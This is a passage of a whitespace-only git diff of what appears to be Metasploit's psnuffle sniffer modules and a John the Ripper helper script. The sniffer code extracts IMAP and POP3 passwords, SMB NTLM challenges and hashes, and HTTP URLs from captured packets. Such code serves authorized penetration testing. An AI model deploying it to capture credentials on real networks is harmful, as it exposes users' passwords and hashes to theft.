multiple banner we take only the first one and ignore the rest - if not (s[:info]) - s[:info] = matches - report_service(s) - end + when :banner + # Because some ftp server send multiple banner we take only the first one and ignore the rest + if not (s[:info]) + s[:info] = matches + report_service(s) + end - when :bye - sessions.delete(s[:session]) + when :bye + sessions.delete(s[:session]) - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched - end # end of each_key - end # end of parse + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/imap.rb b/data/exploits/psnuffle/imap.rb index 6888fb4246..4023be12b0 100755 --- a/data/exploits/psnuffle/imap.rb +++ b/data/exploits/psnuffle/imap.rb @@ -9,72 +9,72 @@ class SnifferIMAP < BaseProtocolParser - def register_sigs - self.sigs = { - :banner => /^(\*\s+OK[^\n\r]*)/i, - :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i, - :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i, - :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i, - :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i - } - end + def register_sigs + self.sigs = { + :banner => /^(\*\s+OK[^\n\r]*)/i, + :login => /^CAPABILITY\s+LOGIN\s+([^\s]+)\s+([^\n\r]+)/i, + :login_pass => /^CAPABILITY\s+OK\s+(Login[^\n\r]*)/i, + :login_bad => /^CAPABILITY\s+BAD\s+(Login[^\n\r]*)/i, + :login_fail => /^CAPABILITY\s+NO\s+(Login[^\n\r]*)/i + } + end - def parse(pkt) + def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143) - s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt)) - s[:sname] ||= "imap4" + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143) + s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt)) + s[:sname] ||= "imap4" - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if (pkt.payload =~ self.sigs[k]) - matched = k - matches = [$1,$2] - end + if (pkt.payload =~ self.sigs[k]) + matched = k + matches = [$1,$2] + end - case matched - when :banner - s[:info] = matches - report_service(s) + case matched + when :banner + s[:info] = matches + report_service(s) - when :login_pass + when :login_pass - report_auth_info(s) - print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + report_auth_info(s) + print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :login_fail + when :login_fail - report_auth_info(s.merge({:active => false})) - print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + report_auth_info(s.merge({:active => false})) + print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :login_bad - report_auth_info(s.merge({:active => false})) - print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + when :login_bad + report_auth_info(s.merge({:active => false})) + print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :login - s[:user]=$1 - s[:pass]=$2 + when :login + s[:user]=$1 + s[:pass]=$2 - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched - end # end of each_key - end # end of parse + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/pop3.rb b/data/exploits/psnuffle/pop3.rb index 117b8c03cb..10d851b3fc 100755 --- a/data/exploits/psnuffle/pop3.rb +++ b/data/exploits/psnuffle/pop3.rb @@ -6,83 +6,83 @@ # as unsuccessful logins... (Typos are common :-) ) # class SnifferPOP3 < BaseProtocolParser - def register_sigs - self.sigs = { - :ok => /^(\+OK[^\n]*)\n/i, - :err => /^(\-ERR[^\n]*)\n/i, - :user => /^USER\s+([^\n]+)\n/i, - :pass => /^PASS\s+([^\n]+)\n/i, - :quit => /^(QUIT\s*[^\n]*)\n/i - } - end + def register_sigs + self.sigs = { + :ok => /^(\+OK[^\n]*)\n/i, + :err => /^(\-ERR[^\n]*)\n/i, + :user => /^USER\s+([^\n]+)\n/i, + :pass => /^PASS\s+([^\n]+)\n/i, + :quit => /^(QUIT\s*[^\n]*)\n/i + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110) - s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 110 and pkt.tcp_dport != 110) + s = find_session((pkt.tcp_sport == 110) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched - when :ok - # Last command was successful, in addition most servers transmit a banner with the first +OK - case s[:last] - when nil - # Its the first +OK must include the banner, worst case its just +OK - s[:info] = matches - s[:proto] = "tcp" - s[:name] = "pop3" - report_service(s) + case matched + when :ok + # Last command was successful, in addition most servers transmit a banner with the first +OK + case s[:last] + when nil + # Its the first +OK must include the banner, worst case its just +OK + s[:info] = matches + s[:proto] = "tcp" + s[:name] = "pop3" + report_service(s) - when :user - # When the last command was a username login - # We might keep track on this one in future - when :pass - # Perfect we get an +OK after a PASS command this means right password given :-) + when :user + # When the last command was a username login + # We might keep track on this one in future + when :pass + # Perfect we get an +OK after a PASS command this means right password given :-) - s[:proto] = "tcp" - s[:name] = "pop3" - s[:extra] = "Successful Login. Banner: #{s[:banner]}" - report_auth_info(s) - print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + s[:proto] = "tcp" + s[:name] = "pop3" + s[:extra] = "Successful Login. Banner: #{s[:banner]}" + report_auth_info(s) + print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - # Remove it form the session objects so freeup - sessions.delete(s[:session]) + # Remove it form the session objects so freeup + sessions.delete(s[:session]) - when :quit - # The session is terminated by the user just delete is as well - sessions.delete(s[:session]) - end - s[:last]=:ok + when :quit + # The session is terminated by the user just delete is as well + sessions.delete(s[:session]) + end + s[:last]=:ok - when :err - case s[:last] - when :pass - # Oops got a -ERR after a pass so its crap ignore the pass - # But report it, might be helpfull for guessing :-) + when :err + case s[:last] + when :pass + # Oops got a -ERR after a pass so its crap ignore the pass + # But report it, might be helpfull for guessing :-) - s[:proto]="pop3" - s[:extra]="Failed Login. Banner: #{s[:banner]}" - report_auth_info(s) - print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") - s[:pass]="" - end - when nil - # No matches, no saved state - else - s[:last]=matched - sessions[s[:session]].merge!({k => matches}) - end # end case matched - end # end of each_key - end # end of parse + s[:proto]="pop3" + s[:extra]="Failed Login. Banner: #{s[:banner]}" + report_auth_info(s) + print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})") + s[:pass]="" + end + when nil + # No matches, no saved state + else + s[:last]=matched + sessions[s[:session]].merge!({k => matches}) + end # end case matched + end # end of each_key + end # end of parse end diff --git a/data/exploits/psnuffle/smb.rb b/data/exploits/psnuffle/smb.rb index 3bcd2e083f..c1702d51fd 100755 --- a/data/exploits/psnuffle/smb.rb +++ b/data/exploits/psnuffle/smb.rb @@ -6,206 +6,206 @@ #Memo : #FOR SMBV1 - # Authentification without extended security set - #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 - #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17 - #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0) - #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok + # Authentification without extended security set + #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 + #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17 + #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0) + #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok - # Authentification with extended security set - #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 - #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 - #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message - #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge - #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes - #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok + # Authentification with extended security set + #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 + #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1 + #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message + #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge + #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes + #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok #FOR SMBV2 - #SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response + #SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response class SnifferSMB < BaseProtocolParser - def register_sigs - self.sigs = { - :smb1_negotiate => /\xffSMB\x72/n, - :smb1_setupandx => /\xffSMB\x73/n, - #:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n, - :smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n - } - end + def register_sigs + self.sigs = { + :smb1_negotiate => /\xffSMB\x72/n, + :smb1_setupandx => /\xffSMB\x73/n, + #:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n, + :smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445) - s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445) + s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched - when :smb1_negotiate - payload = pkt.payload.dup - wordcount = payload[36,1].unpack("C")[0] - #negotiate response - if wordcount == 17 - flags2 = payload[14,2].unpack("v")[0] - #the server challenge is here - if flags2 & 0x800 == 0 - s[:challenge] = payload[73,8].unpack("H*")[0] - s[:last] = :smb1_negotiate - end - end + case matched + when :smb1_negotiate + payload = pkt.payload.dup + wordcount = payload[36,1].unpack("C")[0] + #negotiate response + if wordcount == 17 + flags2 = payload[14,2].unpack("v")[0] + #the server challenge is here + if flags2 & 0x800 == 0 + s[:challenge] = payload[73,8].unpack("H*")[0] + s[:last] = :smb1_negotiate + end + end - when :smb1_setupandx - s[:smb_version] = "SMBv1" - parse_sessionsetup(pkt, s) - when :smb2_setupandx - s[:smb_version] = "SMBv2" - parse_sessionsetup(pkt, s) - when nil - # No matches, no saved state - else - sessions[s[:session]].merge!({k => matches}) - end # end case matched + when :smb1_setupandx + s[:smb_version] = "SMBv1" + parse_sessionsetup(pkt, s) + when :smb2_setupandx + s[:smb_version] = "SMBv2" + parse_sessionsetup(pkt, s) + when nil + # No matches, no saved state + else + sessions[s[:session]].merge!({k => matches}) + end # end case matched - end # end of each_key - end # end of parse + end # end of each_key + end # end of parse - #ntlmv1, ntlmv2 or ntlm2_session - def detect_ntlm_ver(lmhash, ntlmhash) - return "NTLMv2" if ntlmhash.length > 48 - if lmhash.length == 48 and ntlmhash.length == 48 - if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16 - return "NTLM2_SESSION" - else - return "NTLMv1" - end - else - raise RuntimeError, "Unknow hash type" - end - end + #ntlmv1, ntlmv2 or ntlm2_session + def detect_ntlm_ver(lmhash, ntlmhash) + return "NTLMv2" if ntlmhash.length > 48 + if lmhash.length == 48 and ntlmhash.length == 48 + if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16 + return "NTLM2_SESSION" + else + return "NTLMv1" + end + else + raise RuntimeError, "Unknow hash type" + end + end - def parse_sessionsetup(pkt, s) - payload = pkt.payload.dup - ntlmpayload = payload[/NTLMSSP\x00.*/m] - if ntlmpayload - ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0] - case ntlmmessagetype - when 2 # challenge - s[:challenge] = ntlmpayload[24,8].unpack("H*")[0] - s[:last] = :ntlm_type2 - when 3 # auth - if s[:last] == :ntlm_type2 - lmlength = ntlmpayload[12, 2].unpack("v")[0] - lmoffset = ntlmpayload[16, 2].unpack("v")[0] - ntlmlength = ntlmpayload[20, 2].unpack("v")[0] - ntlmoffset = ntlmpayload[24, 2].unpack("v")[0] - domainlength = ntlmpayload[28, 2].unpack("v")[0] - domainoffset = ntlmpayload[32, 2].unpack("v")[0] - usrlength = ntlmpayload[36, 2].unpack("v")[0] - usroffset = ntlmpayload[40, 2].unpack("v")[0] + def parse_sessionsetup(pkt, s) + payload = pkt.payload.dup + ntlmpayload = payload[/NTLMSSP\x00.*/m] + if ntlmpayload + ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0] + case ntlmmessagetype + when 2 # challenge + s[:challenge] = ntlmpayload[24,8].unpack("H*")[0] + s[:last] = :ntlm_type2 + when 3 # auth + if s[:last] == :ntlm_type2 + lmlength = ntlmpayload[12, 2].unpack("v")[0] + lmoffset = ntlmpayload[16, 2].unpack("v")[0] + ntlmlength = ntlmpayload[20, 2].unpack("v")[0] + ntlmoffset = ntlmpayload[24, 2].unpack("v")[0] + domainlength = ntlmpayload[28, 2].unpack("v")[0] + domainoffset = ntlmpayload[32, 2].unpack("v")[0] + usrlength = ntlmpayload[36, 2].unpack("v")[0] + usroffset = ntlmpayload[40, 2].unpack("v")[0] - s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || '' - s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || '' - s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || '' - s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || '' + s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || '' + s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || '' + s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || '' + s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || '' - secbloblength = payload[51,2].unpack("v")[0] - names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - s[:peer_os] = names[0] || '' - s[:peer_lm] = names[1] || '' - s[:last] = :ntlm_type3 - end - end - else - wordcount = payload[36,1].unpack("C")[0] - #authentification without smb extended security (smbmount, msf server capture) - if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1" - lmlength = payload[51,2].unpack("v")[0] - ntlmlength = payload[53,2].unpack("v")[0] - s[:lmhash] = payload[65,lmlength].unpack("H*")[0] - s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0] - - names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + secbloblength = payload[51,2].unpack("v")[0] + names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') } + s[:peer_os] = names[0] || '' + s[:peer_lm] = names[1] || '' + s[:last] = :ntlm_type3 + end + end + else + wordcount = payload[36,1].unpack("C")[0] + #authentification without smb extended security (smbmount, msf server capture) + if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1" + lmlength = payload[51,2].unpack("v")[0] + ntlmlength = payload[53,2].unpack("v")[0] + s[:lmhash] = payload[65,lmlength].unpack("H*")[0] + s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0] + + names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') } - s[:user] = names[0] - s[:domain] = names[1] - s[:peer_os] = names[2] - s[:peer_lm] = names[3] - s[:last] = :smb_no_ntlm - else - #answer from server - if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm - #do not output anonymous/guest logging - unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m - #set lmhash to a default value if not provided - s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m - s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash] + s[:user] = names[0] + s[:domain] = names[1] + s[:peer_os] = names[2] + s[:peer_lm] = names[3] + s[:last] = :smb_no_ntlm + else + #answer from server + if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm + #do not output anonymous/guest logging + unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m + #set lmhash to a default value if not provided + s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m + s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash] - smb_status = payload[9,4].unpack("V")[0] - if smb_status == 0 # success + smb_status = payload[9,4].unpack("V")[0] + if smb_status == 0 # success - ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash]) + ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash]) - logmessage = - "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" + - "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" + - "SERVER CHALLENGE:#{s[:challenge]} " + - "\nLMHASH:#{s[:lmhash]} " + - "\nNTHASH:#{s[:ntlmhash]}\n" - print_status(logmessage) + logmessage = + "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" + + "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" + + "SERVER CHALLENGE:#{s[:challenge]} " + + "\nLMHASH:#{s[:lmhash]} " + + "\nNTHASH:#{s[:ntlmhash]}\n" + print_status(logmessage) - src_ip = s[:client_host] - dst_ip = s[:host] - # know this is ugly , last code added :-/ - smb_db_type_hash = case ntlm_ver - when "NTLMv1" then "smb_netv1_hash" - when "NTLM2_SESSION" then "smb_netv1_hash" - when "NTLMv2" then "smb_netv2_hash" - end - # DB reporting - report_auth_info( - :host => dst_ip, - :port => 445, - :sname => 'smb', - :user => s[:user], - :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge], - :type => smb_db_type_hash, - :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}", - :active => true - ) + src_ip = s[:client_host] + dst_ip = s[:host] + # know this is ugly , last code added :-/ + smb_db_type_hash = case ntlm_ver + when "NTLMv1" then "smb_netv1_hash" + when "NTLM2_SESSION" then "smb_netv1_hash" + when "NTLMv2" then "smb_netv2_hash" + end + # DB reporting + report_auth_info( + :host => dst_ip, + :port => 445, + :sname => 'smb', + :user => s[:user], + :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge], + :type => smb_db_type_hash, + :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}", + :active => true + ) - report_note( - :host => src_ip, - :type => "smb_peer_os", - :data => s[:peer_os] - ) if (s[:peer_os] and s[:peer_os].strip.length > 0) + report_note( + :host => src_ip, + :type => "smb_peer_os", + :data => s[:peer_os] + ) if (s[:peer_os] and s[:peer_os].strip.length > 0) - report_note( - :host => src_ip, - :type => "smb_peer_lm", - :data => s[:peer_lm] - ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) + report_note( + :host => src_ip, + :type => "smb_peer_lm", + :data => s[:peer_lm] + ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0) - report_note( - :host => src_ip, - :type => "smb_domain", - :data => s[:domain] - ) if (s[:domain] and s[:domain].strip.length > 0) + report_note( + :host => src_ip, + :type => "smb_domain", + :data => s[:domain] + ) if (s[:domain] and s[:domain].strip.length > 0) - end - end - end - s[:last] = nil - sessions.delete(s[:session]) - end - end - end + end + end + end + s[:last] = nil + sessions.delete(s[:session]) + end + end + end end diff --git a/data/exploits/psnuffle/url.rb b/data/exploits/psnuffle/url.rb index 467bab5203..d90f254caa 100755 --- a/data/exploits/psnuffle/url.rb +++ b/data/exploits/psnuffle/url.rb @@ -6,43 +6,43 @@ # Sniffer class for GET URL's class SnifferURL < BaseProtocolParser - def register_sigs - self.sigs = { - :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, - :webhost => /^HOST\:\s+([^\n\r]+)/i, - } - end + def register_sigs + self.sigs = { + :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, + :webhost => /^HOST\:\s+([^\n\r]+)/i, + } + end - def parse(pkt) - # We want to return immediantly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80) - s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) + def parse(pkt) + # We want to return immediantly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80) + s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) - self.sigs.each_key do |k| + self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - sessions[s[:session]].merge!({k => matches}) - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + sessions[s[:session]].merge!({k => matches}) + end - case matched - when :webhost - sessions[s[:session]].merge!({k => matches}) - if(s[:get]) - print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}") - sessions.delete(s[:session]) - return - end - when nil - # No matches, no saved state - end # end case matched - end # end of each_key - end # end of parse + case matched + when :webhost + sessions[s[:session]].merge!({k => matches}) + if(s[:get]) + print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}") + sessions.delete(s[:session]) + return + end + when nil + # No matches, no saved state + end # end case matched + end # end of each_key + end # end of parse end # end of URL sniffer diff --git a/data/john/run.linux.x64.mmx/genincstats.rb b/data/john/run.linux.x64.mmx/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x64.mmx/genincstats.rb +++ b/data/john/run.linux.x64.mmx/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" + puts "\t-c --custom" + puts "\nExample:\n" + puts "#{$0} -f stats -s" + puts "#{$0} -f stats -c \"0123abc+=\"" + exit end ch_alpha = 'abcdefghijklmnopqrstuvwxyz' @@ -24,55 +24,55 @@ ch_num = '0123456789' ch_sp = '!@#$+=.*' opts = GetoptLong.new( - [ '--help', '-h', GetoptLong::NO_ARGUMENT ], - [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], - [ '--all', '-s', GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/john/run.linux.x86.any/genincstats.rb b/data/john/run.linux.x86.any/genincstats.rb index 42d9b6ef6d..d415a55f97 100644 --- a/data/john/run.linux.x86.any/genincstats.rb +++ b/data/john/run.linux.x86.any/genincstats.rb @@ -3,20 +3,20 @@ require 'getoptlong' def help - puts "Usage: #{$0} [options]" - puts "\t-h --help\t\tthis help." - puts "\t-f --file\t\toutput file." - puts "\t-n --num\t\tcharset: 0123456789" - puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" - puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" - puts "\t-l --alphanum\t\tcharset: alpha + num" - puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" - puts "\t-s --all\t\tcharset: alpha + alphamaj + num + !@#$+=.*" - puts "\t-c --custom" - puts "\nExample:\n" - puts "#{$0} -f stats -s" - puts "#{$0} -f stats -c \"0123abc+=\"" - exit + puts "Usage: #{$0} [options]" + puts "\t-h --help\t\tthis help." + puts "\t-f --file\t\toutput file." + puts "\t-n --num\t\tcharset: 0123456789" + puts "\t-a --alpha\t\tcharset: abcdefghijklmnopqrstuvwxyz" + puts "\t-A --alphamaj\t\tcharset: ABCDEFGHIJKLMNOPQRSTUVWXYZ" + puts "\t-l --alphanum\t\tcharset: alpha + num" + puts "\t-l --alphanummaj\tcharset: alpha + alphamaj + num" + puts "\t-s --all\t\tcharset: alpha 